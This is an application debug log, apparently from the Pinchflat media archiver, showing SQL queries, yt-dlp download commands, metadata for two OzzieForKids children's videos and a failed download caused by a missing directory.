m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:15:48.878 [debug] QUERY OK source="media_items" db=2.6ms queue=0.2ms idle=16.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9750] 13:15:48.879 [debug] Current batch of media processed. Will check again in 1000ms 13:15:49.884 [debug] Current batch of media processed. Will check again in 1000ms 13:15:50.886 [debug] Current batch of media processed. Will check again in 1000ms 13:15:51.697 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/51/26/5126e3a9885095fcfa7ab6ad491db6fa663e03983bc08cfb1f2a0aaaf00f011c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 13:15:51.700 [debug] Running yt-dlp command for action: download 13:15:51.701 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1184.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:15:51.702 [debug] QUERY OK source="settings" db=0.1ms idle=1185.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:15:51.702 [debug] QUERY OK source="settings" db=0.6ms idle=1185.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:15:51.703 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/97/1c/971c3be93f8a9db095258d425d2b2a1b28616000cea5a79d7594643198aa35c4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:15:51.887 [debug] Current batch of media processed. Will check again in 1000ms 13:15:52.889 [debug] Current batch of media processed. Will check again in 1000ms 13:15:53.893 [debug] Current batch of media processed. Will check again in 1000ms 13:15:54.897 [debug] Current batch of media processed. Will check again in 1000ms 13:15:55.899 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "🌿🎢 Get ready to sing, dance and mow along with Ozzie in this fun collection of NEW Lawn Mower Songs for Kids!\n\nJoin Ozzie as we mow the lawn, ride awesome lawn mowers and use leaf blowers, whipper snippers and other cool garden tools. This exciting song collection is packed with outdoor adventures, catchy tunes and plenty of mowing fun!\n\nClap your hands, stomp your feet and sing along as we cut the grass, tidy the garden and explore all the amazing machines that help keep our yards looking great.\n\nMusic helps us learn, stay active and discover how everyday machines work. So grab your imaginary mower and join Ozzie for three fun-filled lawn mowing songs!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\n🚜 Lawn mowers in action\n🌿 Ride-on mowers and push mowers\nπŸƒ Leaf blowers\n🌱 Whipper snippers or weed wackers\n🌳 Fun yard work adventures\n🎢 Catchy songs to sing along with!\n\nKids will learn about:\nβ€’ Different types of lawn mowers\nβ€’ Garden tools and how they work\nβ€’ Looking after outdoor spaces\n\nTopics kids will learn about in this video:\nβ€’ lawn mower songs for kids\nβ€’ lawn mowers for kids\nβ€’ ride on mower for kids\nβ€’ leaf blower for kids\nβ€’ whipper snipper for kids\nβ€’ garden tools explained for kids\nβ€’ outdoor machines for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#LawnMowers #RideOnMower #GardenTools #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "duration" => 927, "filename" => "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-22 - 🌿🎢 NEW Lawn Mower Songs for Kids! | 3 Fun Mowing Songs with Ozzie.mp4", "id" => "O1K9qukZNkE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=O1K9qukZNkE", "playlist_index" => 13, "timestamp" => 1784743219, "title" => "🌿🎢 NEW Lawn Mower Songs for Kids! | 3 Fun Mowing Songs with Ozzie", "upload_date" => "20260722"} 13:15:55.901 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1152.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [7] 13:15:55.902 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=381.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:15:55.908 [debug] QUERY OK source="media_items" db=5.4ms idle=381.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-22 18:00:19Z], 7] 13:15:55.914 [debug] QUERY OK source="media_items" db=4.7ms queue=0.1ms idle=388.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🌿🎢 Get ready to sing, dance and mow along with Ozzie in this fun collection of NEW Lawn Mower Songs for Kids!\n\nJoin Ozzie as we mow the lawn, ride awesome lawn mowers and use leaf blowers, whipper snippers and other cool garden tools. This exciting song collection is packed with outdoor adventures, catchy tunes and plenty of mowing fun!\n\nClap your hands, stomp your feet and sing along as we cut the grass, tidy the garden and explore all the amazing machines that help keep our yards looking great.\n\nMusic helps us learn, stay active and discover how everyday machines work. So grab your imaginary mower and join Ozzie for three fun-filled lawn mowing songs!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\n🚜 Lawn mowers in action\n🌿 Ride-on mowers and push mowers\nπŸƒ Leaf blowers\n🌱 Whipper snippers or weed wackers\n🌳 Fun yard work adventures\n🎢 Catchy songs to sing along with!\n\nKids will learn about:\nβ€’ Different types of lawn mowers\nβ€’ Garden tools and how they work\nβ€’ Looking after outdoor spaces\n\nTopics kids will learn about in this video:\nβ€’ lawn mower songs for kids\nβ€’ lawn mowers for kids\nβ€’ ride on mower for kids\nβ€’ leaf blower for kids\nβ€’ whipper snipper for kids\nβ€’ garden tools explained for kids\nβ€’ outdoor machines for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#LawnMowers #RideOnMower #GardenTools #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "🌿🎢 NEW Lawn Mower Songs for Kids! | 3 Fun Mowing Songs with Ozzie", "40f671ca-b0bf-4140-8fd9-927d799d59d5", 927, false, "O1K9qukZNkE", "https://www.youtube.com/watch?v=O1K9qukZNkE", 13, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-22 - 🌿🎢 NEW Lawn Mower Songs for Kids! | 3 Fun Mowing Songs with Ozzie.mp4", false, false, false, 7, [], 98, ~U[2026-07-22 18:00:19Z], ~U[2026-09-03 03:15:55Z], ~U[2026-09-03 03:15:55Z], "🌿🎢 Get ready to sing, dance and mow along with Ozzie in this fun collection of NEW Lawn Mower Songs for Kids!\n\nJoin Ozzie as we mow the lawn, ride awesome lawn mowers and use leaf blowers, whipper snippers and other cool garden tools. This exciting song collection is packed with outdoor adventures, catchy tunes and plenty of mowing fun!\n\nClap your hands, stomp your feet and sing along as we cut the grass, tidy the garden and explore all the amazing machines that help keep our yards looking great.\n\nMusic helps us learn, stay active and discover how everyday machines work. So grab your imaginary mower and join Ozzie for three fun-filled lawn mowing songs!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\n🚜 Lawn mowers in action\n🌿 Ride-on mowers and push mowers\nπŸƒ Leaf blowers\n🌱 Whipper snippers or weed wackers\n🌳 Fun yard work adventures\n🎢 Catchy songs to sing along with!\n\nKids will learn about:\nβ€’ Different types of lawn mowers\nβ€’ Garden tools and how they work\nβ€’ Looking after outdoor spaces\n\nTopics kids will learn about in this video:\nβ€’ lawn mower songs for kids\nβ€’ lawn mowers for kids\nβ€’ ride on mower for kids\nβ€’ leaf blower for kids\nβ€’ whipper snipper for kids\nβ€’ garden tools explained for kids\nβ€’ outdoor machines for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#LawnMowers #RideOnMower #GardenTools #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "🌿🎢 NEW Lawn Mower Songs for Kids! | 3 Fun Mowing Songs with Ozzie", 927, false, "O1K9qukZNkE", "https://www.youtube.com/watch?v=O1K9qukZNkE", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-22 - 🌿🎢 NEW Lawn Mower Songs for Kids! | 3 Fun Mowing Songs with Ozzie.mp4", false, 7, ~U[2026-07-22 18:00:19Z]] 13:15:55.915 [debug] QUERY OK source="sources" db=0.6ms idle=163.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:15:55.915 [debug] QUERY OK source="media_profiles" db=0.2ms idle=14.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:15:55.918 [debug] QUERY OK source="media_items" db=1.5ms idle=13.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9752] 13:15:55.918 [debug] Current batch of media processed. Will check again in 1000ms 13:15:56.920 [debug] Current batch of media processed. Will check again in 1000ms 13:15:57.922 [debug] Current batch of media processed. Will check again in 1000ms 13:15:58.927 [debug] Current batch of media processed. Will check again in 1000ms 13:15:59.929 [debug] Current batch of media processed. Will check again in 1000ms 13:16:00.254 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/97/1c/971c3be93f8a9db095258d425d2b2a1b28616000cea5a79d7594643198aa35c4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows' 13:16:00.254 [error] yt-dlp download error for media item #14408: "ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows'\n" 13:16:00.258 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":14408},"id":2349,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":17548991,"event":"job:exception","queue_time":858551,"attempt":3,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:16:00.930 [debug] Current batch of media processed. Will check again in 1000ms 13:16:00.937 [info] {"source":"oban","duration":865,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:16:01.939 [debug] Current batch of media processed. Will check again in 1000ms 13:16:02.941 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today we're celebrating the Glasgow 2026 Commonwealth Games with an exciting mega combo full of sport, music and story time! πŸ…πŸ¦„πŸ“š\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we learn through adventure, music and stories!\n\nJoin Ozzie for the ultimate Glasgow 2026 Commonwealth Games Mega Combo! Discover what the Commonwealth Games are, learn about the exciting sports and countries taking part, sing and dance with Finnie the Unicorn, the official Glasgow 2026 mascot, then settle in for a fun and inspiring Story Time.\n\nWe'll finish by reading Aussie Aussie Aussie Oi Oi Oi by Monica Brzezinski, an inspiring story about chasing your dreams, representing your country and cheering on athletes with pride.\n\nThis action-packed combo is perfect for young sports fans and families who love learning through songs, stories and exciting adventures!\n\nIn this mega combo you'll enjoy:\n\nπŸ… Glasgow 2026 Commonwealth Games for Kids\nLearn what the Commonwealth Games are, discover exciting sports, meet athletes from across the Commonwealth and find out why the Games are known as the Friendly Games.\n\nπŸ¦„ Finnie the Unicorn Song\nSing, dance and clap along with Finnie, the magical official mascot of the Glasgow 2026 Commonwealth Games, in this fun, energetic song celebrating friendship, kindness and sport.\n\nπŸ“š Story Time with Ozzie – Aussie Aussie Aussie Oi Oi Oi\nEnjoy a heartwarming story that inspires children to believe in themselves, support one another and proudly cheer on their country.\n\nKids will learn about:\nβ€’ What the Commonwealth Games are\nβ€’ Different sports played at the Games\nβ€’ Friendship, teamwork and sportsmanship\nβ€’ Believing in yourself and chasing your dreams\nβ€’ Showing kindness and supporting others\n\nTopics kids will learn about in this video:\n\nβ€’ Commonwealth Games For Kids\nβ€’ Glasgow 2026 For Kids\nβ€’ Commonwealth Countries For Kids\nβ€’ Finnie The Unicorn For Kids\nβ€’ Sports For Kids\nβ€’ Story Time For Kids\nβ€’ Australian Books For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#Glasgow2026 #CommonwealthGames #Finnie #StoryTime #SportsForKids #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "duration" => 917, "filename" => "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-21 - Glasgow 2026 Commonwealth Games Mega Combo! πŸ… Finnie Song, Sports, Story Time & Fun Facts.mp4", "id" => "jPz3UVtgqLo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=jPz3UVtgqLo", "playlist_index" => 14, "timestamp" => 1784642439, "title" => "Glasgow 2026 Commonwealth Games Mega Combo! πŸ… Finnie Song, Sports, Story Time & Fun Facts", "upload_date" => "20260721"} 13:16:02.943 [debug] QUERY OK source="sources" db=0.8ms queue=0.2ms idle=1406.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [7] 13:16:02.945 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=1408.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:16:02.949 [debug] QUERY OK source="media_items" db=3.2ms queue=0.1ms idle=1167.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-21 14:00:39Z], 7] 13:16:02.959 [debug] QUERY OK source="media_items" db=8.1ms idle=413.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today we're celebrating the Glasgow 2026 Commonwealth Games with an exciting mega combo full of sport, music and story time! πŸ…πŸ¦„πŸ“š\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we learn through adventure, music and stories!\n\nJoin Ozzie for the ultimate Glasgow 2026 Commonwealth Games Mega Combo! Discover what the Commonwealth Games are, learn about the exciting sports and countries taking part, sing and dance with Finnie the Unicorn, the official Glasgow 2026 mascot, then settle in for a fun and inspiring Story Time.\n\nWe'll finish by reading Aussie Aussie Aussie Oi Oi Oi by Monica Brzezinski, an inspiring story about chasing your dreams, representing your country and cheering on athletes with pride.\n\nThis action-packed combo is perfect for young sports fans and families who love learning through songs, stories and exciting adventures!\n\nIn this mega combo you'll enjoy:\n\nπŸ… Glasgow 2026 Commonwealth Games for Kids\nLearn what the Commonwealth Games are, discover exciting sports, meet athletes from across the Commonwealth and find out why the Games are known as the Friendly Games.\n\nπŸ¦„ Finnie the Unicorn Song\nSing, dance and clap along with Finnie, the magical official mascot of the Glasgow 2026 Commonwealth Games, in this fun, energetic song celebrating friendship, kindness and sport.\n\nπŸ“š Story Time with Ozzie – Aussie Aussie Aussie Oi Oi Oi\nEnjoy a heartwarming story that inspires children to believe in themselves, support one another and proudly cheer on their country.\n\nKids will learn about:\nβ€’ What the Commonwealth Games are\nβ€’ Different sports played at the Games\nβ€’ Friendship, teamwork and sportsmanship\nβ€’ Believing in yourself and chasing your dreams\nβ€’ Showing kindness and supporting others\n\nTopics kids will learn about in this video:\n\nβ€’ Commonwealth Games For Kids\nβ€’ Glasgow 2026 For Kids\nβ€’ Commonwealth Countries For Kids\nβ€’ Finnie The Unicorn For Kids\nβ€’ Sports For Kids\nβ€’ Story Time For Kids\nβ€’ Australian Books For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#Glasgow2026 #CommonwealthGames #Finnie #StoryTime #SportsForKids #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "Glasgow 2026 Commonwealth Games Mega Combo! πŸ… Finnie Song, Sports, Story Time & Fun Facts", "a99e0ed6-5ee1-4f1c-854e-1e34678feb4b", 917, false, "jPz3UVtgqLo", "https://www.youtube.com/watch?v=jPz3UVtgqLo", 14, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-21 - Glasgow 2026 Commonwealth Games Mega Combo! πŸ… Finnie Song, Sports, Story Time & Fun Facts.mp4", false, false, false, 7, [], 98, ~U[2026-07-21 14:00:39Z], ~U[2026-09-03 03:16:02Z], ~U[2026-09-03 03:16:02Z], "Today we're celebrating the Glasgow 2026 Commonwealth Games with an exciting mega combo full of sport, music and story time! πŸ…πŸ¦„πŸ“š\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we learn through adventure, music and stories!\n\nJoin Ozzie for the ultimate Glasgow 2026 Commonwealth Games Mega Combo! Discover what the Commonwealth Games are, learn about the exciting sports and countries taking part, sing and dance with Finnie the Unicorn, the official Glasgow 2026 mascot, then settle in for a fun and inspiring Story Time.\n\nWe'll finish by reading Aussie Aussie Aussie Oi Oi Oi by Monica Brzezinski, an inspiring story about chasing your dreams, representing your country and cheering on athletes with pride.\n\nThis action-packed combo is perfect for young sports fans and families who love learning through songs, stories and exciting adventures!\n\nIn this mega combo you'll enjoy:\n\nπŸ… Glasgow 2026 Commonwealth Games for Kids\nLearn what the Commonwealth Games are, discover exciting sports, meet athletes from across the Commonwealth and find out why the Games are known as the Friendly Games.\n\nπŸ¦„ Finnie the Unicorn Song\nSing, dance and clap along with Finnie, the magical official mascot of the Glasgow 2026 Commonwealth Games, in this fun, energetic song celebrating friendship, kindness and sport.\n\nπŸ“š Story Time with Ozzie – Aussie Aussie Aussie Oi Oi Oi\nEnjoy a heartwarming story that inspires children to believe in themselves, support one another and proudly cheer on their country.\n\nKids will learn about:\nβ€’ What the 